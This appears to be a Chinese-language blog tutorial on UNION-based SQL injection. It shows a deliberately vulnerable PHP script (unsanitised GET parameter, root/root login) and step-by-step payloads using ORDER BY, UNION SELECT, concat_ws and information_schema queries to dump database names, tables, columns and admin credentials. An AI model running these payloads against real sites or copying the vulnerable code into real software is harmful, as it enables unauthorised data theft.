SQL隱碼攻擊一直都是web安全的主要漏洞之一,數年來仍舊是最常見的漏洞,其主要是因為前後端進行資料互動時注入惡意的SQL語句,導致最終執行的語句拼接。往往是因為開發人員防護不嚴,導致未過濾敏感字元。
聯合注入
聯合注入是比較常見的一種,可以說是開發人員沒有進行任何過濾。
這裡用PHP來進行簡單的資料互動
原始碼:
<?php
$id=$_GET['id'];
$conn=mysqli_connect("localhost","root","root");
mysqli_select_db($conn,"myselect");
$query="select user_id,user_pwd from web_user where id =$id";
echo $query;
echo "</br>";
$result=mysqli_query($conn,$query);
for($i=0;$i<mysqli_num_rows($result);$i++){
$data=mysqli_fetch_assoc($result);
echo $data['user_id'];
echo "</br>";
echo $data['user_pwd'];
echo "</br>";
}
?>
## 這裡我直接將前端GET請求傳遞進行的引數帶進我的查詢語句中,可見
這裡通過id去資料庫查詢相應的資料
那麼已知我現在的資料庫分為兩個表,一個是web_user(儲存使用者資料),hhh_admin_user(儲存管理員資訊)
那麼用聯合注入可以直接查詢相應的東西
PayLoad:
payoad: union select hhhh_id,hhhh_pwd from hhh_admin_user
這裡的SQL語句是直接將我們的payload帶入了後臺查詢語句中,使用union 聯合查詢兩條SQL語句這裡的SQL語句是直接將我們的payload帶入了後臺查詢語句中,使用union 聯合查詢兩條SQL語句
那麼,假設我們在不知道資料庫表名的情況下,該如何查詢。
1.order by (為數字可列舉) 先判斷長度 因為union必須要前後的SQL語句的欄位長度相同
當我輸入order by 2時查詢成功
當我輸入order by 3時查詢失敗
可見該SQL語句返回的欄位為2,那麼後面的SQL語句也只能查相應長度的欄位
2.union
知道了欄位長度,如何查詢想要的資料???
這裡分兩種方法
- 爆破列舉法
顧名思義就是靠猜
payload:union select 1,2 from 表名
去列舉表的名字
存在會返回1,2失敗則無任何返回
猜解欄位名也是如此,替換其中的1 or 2 進行查詢,得到資料則存在
- 利用函式
先獲取顯示位,因為大多數程式都是鍵對值的概念
key:value
假設前端只給了兩個key渲染位,多出來的就不進行渲染。導致想要的資料無法顯示
那麼這時候要將前面的語句報錯或成空值,讓後面的語句替補前來。
這裡因為是根據id來查詢相應的內容,那麼要使前面資料為空可以改變條件為999999
因為資料庫裡沒有id為99999的內容
獲取資料庫名
使用concat_ws 將查詢的語句拼接為一個字串
這裡使用到了函式version(),user(),databaser()
payload:id=99999999 union select 1,concat_ws("~",database(),"~",user(),"~",version())
先使前面的結果為空,後面查詢兩個字元,為1,2為拼接database,user,version的資料為一個字串
這裡已經獲取到了資料庫名,以及賬戶名為root
獲取表名
payload:UNION SELECT 1,GROUP_CONCAT(TABLE_name) FROM information_schema.tables WHERE table_schema=0x6D7973656C656374
0x6D7973656C656374 是hex編碼 注意前面SQL要為空值
獲取欄位名:
payload:union SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=0x6868685F61646D696E5F75736572 and table_schema=0x6D7973656C656374
出現了欄位以及表名就可以直接獲取資料了
本作品採用《CC 協議》,轉載必須註明作者和本文連結